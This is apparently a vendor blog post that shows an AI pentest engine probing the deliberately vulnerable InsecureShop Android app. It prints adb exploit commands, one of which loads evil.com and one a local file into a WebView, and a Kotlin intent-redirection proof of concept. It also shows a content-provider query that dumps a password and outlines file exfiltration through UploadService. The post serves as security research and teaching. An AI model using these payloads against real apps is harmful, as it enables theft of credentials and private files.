Security

AI-Powered Pentesting: A Deep Dive into Android Intent Redirection

This article showcases Ostorlab's AI Pentest Engine's process for analyzing an Android application for Intent Redirection vulnerabilities. Follow the engine's journey from static analysis and initial findings to rigorous dynamic validation, demonstrating its ability to not only identify potential threats but also to meticulously discard false positives.

Sun 31 August 2025

Ostorlab's AI Pentest Engine is designed to replicate the complex, multi-step process of an expert human security researcher. It doesn't just run a scanner and report the output; it forms hypotheses, tests them, and validates its own findings.

To put this to the test, we pointed the engine at the InsecureShop Android application with the objective of testing for Intent Redirection vulnerabilities. The goal of testing a vulnerability class is defined by a threat intelligence module that identifies all the risks and the context to test for, but more on that in later posts.

What followed was an elegant & fast pentesting process. The AI engine decompiled the application, identified potentially vulnerable components through static analysis, and then rigorously attempted to validate each finding using dynamic analysis and proof-of-concept applications.

This post documents the engine's complete, unedited workflow, highlighting not only its ability to find critical bugs but, just as importantly, its capacity to confirm or exclude them.

Test Plan Generation

The first step of AI Engine is developing a 10-task methodology with the following objectives:

  • Identify all exported application components and their intent filters
  • Analyze intent handling for potential redirection flaws
  • Fuzz components with malicious intents to trigger unintended behavior
  • Develop full proof-of-concept applications for confirmed vulnerabilities

Plan Breakdown

  1. APK Decompilation - Extract AndroidManifest.xml file, resources, and source code for mapping the application's attack surface
  2. Component Analysis - Enumerate all activities, services, and broadcast receivers, focusing on components with android:exported=true
  3. Intent Filter Documentation - Document actions, categories, and data schemes for each exported component
  4. Source Code Review - Examine exported components for patterns where Intent objects are created or extracted from received intent extras
  5. Environment Setup - Install application on test device with logging and monitoring tools enabled
  6. Malicious Intent Crafting - Create intents with nested intents embedded in extras bundles to test redirection capabilities
  7. Privilege Escalation Testing - Target non-exported components through nested intents to test for unauthorized access
  8. System Monitoring - Monitor logcat and application behavior for signs of successful intent redirection
  9. PoC Development - Create Android applications demonstrating security impact through malicious intent crafting
  10. Documentation - Document findings with vulnerable components, malicious intents used, and PoC source code

Engine Step-by-Step Reasoning

Decompile the APK and meticulously analyze the AndroidManifest.xml file. The goal is to create a comprehensive and definitive list of all exported components (activities, services, and broadcast receivers). The expected outcome is a list of component names marked with android:exported="true".

Step1: run_decompile_apk:
- Tool name: run_decompile_apk
- Args:

apk_path='/REDACTED/InsecureShop.apk'_

AndroidManifest.xml:

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

  <application android:debuggable="true" ...>
    <activity android:name="com.insecureshop.WebViewActivity">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="insecureshop" android:host="com.insecureshop"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
      <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
    ...
    <provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
    <service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
  </application>
</manifest>

Finding 1: Local File Inclusion in WebViewActivity

The AI's static analysis of WebViewActivity.java and its corresponding manifest entry led to a hypothesis: the activity could be tricked into loading local files via the url parameter in a custom URI, indicating a potential Local File Inclusion (LFI) vulnerability. The AI then moved to validate this hypothesis.

Step 1: Trigger the Webview
- Tool name: adb
- Args:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com

Step 2: Result Observation
- Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.

Open evil.com
Open evil.com

Step 3: Create Test File
- Tool name: adb
- Args:

shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html

Step 4: Attempt to Load Local File via Intent
- Tool name: adb
- Args:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"

Step 5: Result Observation - Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.

Read lfi validation
Read lfi validation

Finding 2: Intent Redirection in WebView2Activity

The analysis of com.insecureshop.WebViewActivity revealed a local file inclusion vulnerability. The AndroidManifest.xml shows another exported activity, com.insecureshop.WebView2Activity, which is activated by the custom action com.insecureshop.action.WEBVIEW. The next task is to investigate this second WebView activity to determine if it shares a similar vulnerability or has other flaws in its intent handling.

Next, the AI analyzed WebView2Activity, an exported activity that appeared to launch any Intent passed to it as a Parcelable extra named extra_intent. This is a classic pattern for Intent Redirection, which could allow a malicious app to launch non-exported components.

To validate this, the AI constructed and deployed a proof-of-concept malicious application designed to exploit this flaw and launch the non-exported PrivateActivity.

Step1: Build and Install PoC

Tool name: run_build_app
Args:
Imports:

  import android.content.ComponentName
  import android.content.Intent
  import android.os.Bundle
  import androidx.appcompat.app.AppCompatActivity

PoC Application Code:

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val maliciousIntent = Intent()
        maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")

        val wrapperIntent = Intent()
        wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
        wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
        wrapperIntent.putExtra("extra_intent", maliciousIntent)

        startActivity(wrapperIntent)
    }
}

Tool name: adb
Args:

install /REDACTED/pentestingApp-debug.apk

Output:

    Performing Streamed Install
    Success

Step2: Launch PoC and Observe

Tool name: adb
Args:

shell am start -n com.example.pentestingapp/.MainActivity

Output:

Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }

Tool name: run_take_screenshot
Output: Successfully captured 1 screenshots.

Blank Webview
Blank Webview

Finding 3: Credential Leak via InsecureShopProvider

Having found significant vulnerabilities in two exported activities, have we gathered enough information to understand the application's primary weaknesses, or would a more thorough investigation into other exported components, such as the InsecureShopProvider content provider, yield a more complete picture of the overall security posture?

The AI identified an exported content provider protected by a normal-level permission, suggesting any app could query it. Static analysis of InsecureShopProvider.java indicated it returned stored user credentials.

An exported content provider, com.insecureshop.contentProvider.InsecureShopProvider, was identified as a potential information leak. The provider is protected by the com.insecureshop.permission.READ permission. However, the permission is defined without a protectionLevel, which defaults to normal, meaning any app can be granted this permission upon installation without user interaction. The provider's source code suggested that it queries and returns user credentials stored in SharedPreferences.

Evidence from Manifest:

<provider 
    android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
    android:readPermission="com.insecureshop.permission.READ" 
    android:exported="true" 
    android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>

The InsecureShopProvider.java code shows that the query method returns a cursor containing the username and password stored in the application's shared preferences, ignoring any selection criteria.

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
        MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
        String[] strArr = new String[2];
        String username = Prefs.INSTANCE.getUsername();
        if (username == null) {
            Intrinsics.throwNpe();
        }
        strArr[0] = username;
        String password = Prefs.INSTANCE.getPassword();
        if (password == null) {
            Intrinsics.throwNpe();
        }
        strArr[1] = password;
        cursor.addRow(strArr);
        return cursor;
    }
    return null;
}

Step1: Query Content Provider:

Tool name: adb
Args:

shell content query --uri content://com.insecureshop.provider/insecure

Step2: Analyze Output:

The command returned values for the username and password fields.

Row: 0 username=shopuser, password=!ns3csh0p

Going even further

Unauthorized File Exfiltration via UploadService

Analyze the exported service net.gotev.uploadservice.UploadService. Review its source code to understand how it can be triggered and what parameters it accepts. The goal is to determine if a malicious application can craft an intent to start this service and force it to upload arbitrary local files from the device's storage.

Finally, the engine identified an exported upload service that could potentially be triggered by a malicious app to exfiltrate private files. A successful exploit would require crafting a Parcelable object to pass as an Intent extra.

The AI attempted to build a PoC application for this purpose. However, the available tooling did not support the inclusion of the third-party library (net.gotev:android-upload-service) needed to construct the required objects.

The net.gotev.uploadservice.UploadService is declared in the AndroidManifest.xml with android:exported="true", making it accessible to any application on the device.

<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>

The UploadService is designed to handle file uploads based on parameters passed via an Intent. Specifically, it accepts a taskClass string and a Parcelable object called taskParameters. The service does not perform any validation on the calling app or the parameters within the intent.

A malicious app can construct an Intent that specifies a valid UploadTask class (e.g., net.gotev.uploadservice.MultipartUploadTask) and provides UploadTaskParameters containing: 1. An arbitrary server URL controlled by the attacker. 2. A path to a sensitive file within the InsecureShop app's sandboxed storage (e.g., /data/data/com.insecureshop/shared_prefs/Prefs.xml, which stores user credentials).

  • PoC Build Attempt:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}

Without the ability to build the PoC, the vulnerability could not be tested.

Conclusion: Inconclusive